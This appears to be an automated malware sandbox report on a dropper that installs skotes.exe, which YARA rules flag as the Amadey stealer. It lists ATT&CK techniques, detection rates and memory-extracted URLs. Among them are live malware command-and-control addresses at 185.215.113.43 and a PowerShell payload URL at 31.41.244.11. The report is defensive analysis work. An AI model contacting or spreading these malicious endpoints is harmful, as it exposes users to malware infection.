Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00EDCBEA GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

6_2_00EDCBEA

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 6.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.ec0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.310000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000003.2080301971.0000000005470000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2041944426.0000000004B10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2082994524.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2672497504.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2123212600.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2120598365.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2082959480.0000000000311000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3282216194.0000000000EC1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 Scheduled Task/Job	12 Process Injection	11 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	261 Virtualization/Sandbox Evasion	LSASS Memory	751 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 Registry Run Keys / Startup Folder	12 Process Injection	Security Account Manager	2 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	2 Obfuscated Files or Information	NTDS	261 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	14 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Extra Window Memory Injection	12 Software Packing	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Extra Window Memory Injection	DCSync	234 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	55%	ReversingLabs	Win32.Packed.Themida
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	55%	ReversingLabs	Win32.Packed.Themida

Source	Detection	Scanner	Label	Link
https://www.openh264.org/findUpdates()	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.phpkAl	100%	Avira URL Cloud	malware
http://185.215.113.43/3405117-2476756634-1003	100%	Avira URL Cloud	malware
http://185.215.113.43/Zu7JuNko/index.php;A	100%	Avira URL Cloud	malware
https://baidu.comorward-	0%	Avira URL Cloud	safe
https://support.mozilla.orgwidget.use-xdg-desktop-portalhttps://truecolors.firefox.comaccount-connec	0%	Avira URL Cloud	safe
https://amazon.comrward-	0%	Avira URL Cloud	safe
http://31.41.244.11/files/5124158732/KQGBYWk.ps1XYZ0123456789	0%	Avira URL Cloud	safe
http://185.215.113.43/Zu7JuNko/index.php;A	17%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
example.org	93.184.215.14	true	false	high
chrome.cloudflare-dns.com	172.64.41.3	true	false	high
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	high
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
contile.services.mozilla.com	34.117.188.166	true	false	high
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	high
youtube-ui.l.google.com	172.217.19.206	true	false	high
www3.l.google.com	172.217.19.238	true	false	high
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	high
play.google.com	172.217.19.238	true	false	high
ipv4only.arpa	192.0.0.171	true	false	high
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	high
push.services.mozilla.com	34.107.243.93	true	false	high
www.google.com	142.250.181.100	true	false	high
googlehosted.l.googleusercontent.com	172.217.19.225	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
spocs.getpocket.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
accounts.youtube.com	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.com/favicon.ico	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
http://detectportal.firefox.com/	firefox.exe, 00000010.00000002.3340745234.000001A8B7CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	false		high
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3302124352.000001A8A5FDD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D56372000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B86000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD8F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://json-schema.org/draft/2019-09/schema.	firefox.exe, 00000010.00000003.3262271793.000001A8B84F5000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/spocs	firefox.exe, 00000010.00000003.3236109486.000001A8C33BE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://screenshots.firefox.com	firefox.exe, 00000010.00000002.3302124352.000001A8A5F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3316913295.000001A8B4995000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.openh264.org/findUpdates()	firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://identity.mozilla.com/ids/ecosystem_telemetryU	firefox.exe, 00000010.00000003.3262588896.000001A8B83C7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 00000010.00000003.3049091889.000001A8B6D83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048859019.000001A8B6D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3124581300.000001A8B80E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7CAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048647105.000001A8B6D50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3186917673.000001A8B80D6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048185549.000001A8B6D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3047492392.000001A8B6B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3340745234.000001A8B7C70000.00000004.00000800.00020000.00000000.sdmp	false		high
https://profiler.firefox.com/	firefox.exe, 00000010.00000002.3320702661.000001A8B6190000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/mozilla-services/screenshots	firefox.exe, 00000010.00000003.3048859019.000001A8B6D6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048647105.000001A8B6D50000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3048185549.000001A8B6D1C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3047492392.000001A8B6B00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3313124001.000001A8B3120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000010.00000003.3048393713.000001A8B6D36000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Element/releasePointerCaptureRequest	firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/switching-devices?utm_source=panel-def	firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	false		high
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
http://mozilla.org/9	firefox.exe, 00000010.00000003.3153226064.000001A8B7DE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3122752444.000001A8B7DE5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3155324261.000001A8B7DED000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpkAl	skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://app.adjust.com/167k4ih?campaign=firefox-desktop&adgroup=pb&creative=focus-omc172&redirect=ht	firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
http://exslt.org/common	firefox.exe, 00000010.00000002.3307005394.000001A8B278A000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ok.ru/	firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	false		high
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Error	firefox.exe, 00000010.00000002.3314397385.000001A8B33B0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 0000000C.00000002.3297975932.0000029748A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://exslt.org/dates-and-times	firefox.exe, 00000010.00000002.3307005394.000001A8B2781000.00000004.00000800.00020000.00000000.sdmp	false		high
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 00000010.00000003.3065247433.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3165389836.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3327649126.000001A8B69DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp	false		high
https://baidu.comorward-	firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.bbc.co.uk/	firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://addons.mozilla.org/firefox/addon/to-google-translate/	firefox.exe, 00000010.00000003.3233508837.000001A8C3D6E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3262748007.000001A8C3DBD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 00000010.00000002.3320702661.000001A8B6122000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3320702661.000001A8B617A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3236863796.000001A8C06C7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BC7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CDC4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 00000010.00000003.3125375221.000001A8B7F39000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bugzilla.mo	firefox.exe, 00000010.00000003.3257903707.000001A8B8D6F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000002.3328304158.000001A8B6B21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mitmdetection.services.mozilla.com/	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://www.youtube.com/accountC:	firefox.exe, 00000010.00000002.3299533997.000001A8A5D60000.00000004.00000020.00020000.00000000.sdmp	false		high
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://shavar.services.mozilla.com/	firefox.exe, 00000010.00000002.3340745234.000001A8B7CA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	firefox.exe, 00000010.00000002.3307005394.000001A8B27C4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/	firefox.exe, 00000010.00000003.3236109486.000001A8C33BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2B12000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3285380485.000001F42CD13000.00000004.00000800.00020000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://ebay.comP	firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 00000010.00000003.3264652075.000001A8C3148000.00000004.00000800.00020000.00000000.sdmp	false		high
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 00000016.00000002.3287438057.0000029D563C8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285942438.000002B9C2BF4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001F.00000002.3291725111.000001F42D003000.00000004.00000800.00020000.00000000.sdmp	false		high
https://yandex.com	firefox.exe, 00000010.00000002.3297704058.0000010530930000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/l	skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://monitor.firefox.com/about	firefox.exe, 00000010.00000002.3304042772.000001A8A79C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://account.bellmedia.c	firefox.exe, 00000010.00000003.3242315863.000001A8B9F2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	firefox.exe, 00000010.00000003.3242315863.000001A8B9F2E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 00000010.00000002.3336679664.000001A8B7240000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.zhihu.com/	firefox.exe, 00000010.00000002.3314397385.000001A8B33DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3259252451.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3107521388.000001A8B8BB3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3264282880.000001A8C31B6000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	firefox.exe, 00000010.00000002.3344282918.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3274109850.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	firefox.exe, 00000010.00000002.3344282918.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3274109850.000001A8B7E85000.00000004.00000800.00020000.00000000.sdmp	false		high
https://firefox.settings.services.mozilla.com/v1AIzaSyB2h2OuRcUgy5N-5hsZqiPW6sH3n_rptiQ	firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	false		high
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 00000010.00000003.3178058975.000001A8C3235000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 00000010.00000002.3314397385.000001A8B3303000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.php;A	skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	false	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://identity.mozilla.com/apps/relay	firefox.exe, 00000010.00000003.3238252370.000001A8C3AB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3234183339.000001A8C3AB3000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 00000010.00000003.3241215258.000001A8BE3E3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3266256409.000001A8BE3EB000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.43/3405117-2476756634-1003	skotes.exe, 00000006.00000002.3278202583.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 00000010.00000002.3314397385.000001A8B3373000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3221122829.000001A8B677F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 00000010.00000003.3236109486.000001A8C33BE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000016.00000002.3286589143.0000029D56150000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 0000001A.00000002.3285141971.000002B9C29B0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001F.00000002.3284580790.000001F42CB60000.00000002.10000000.00040000.00000000.sdmp	false		high
https://www.amazon.co.uk/	firefox.exe, 00000010.00000003.3099063952.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000010.00000003.3235315331.000001A8C389B000.00000004.00000800.00020000.00000000.sdmp	false		high
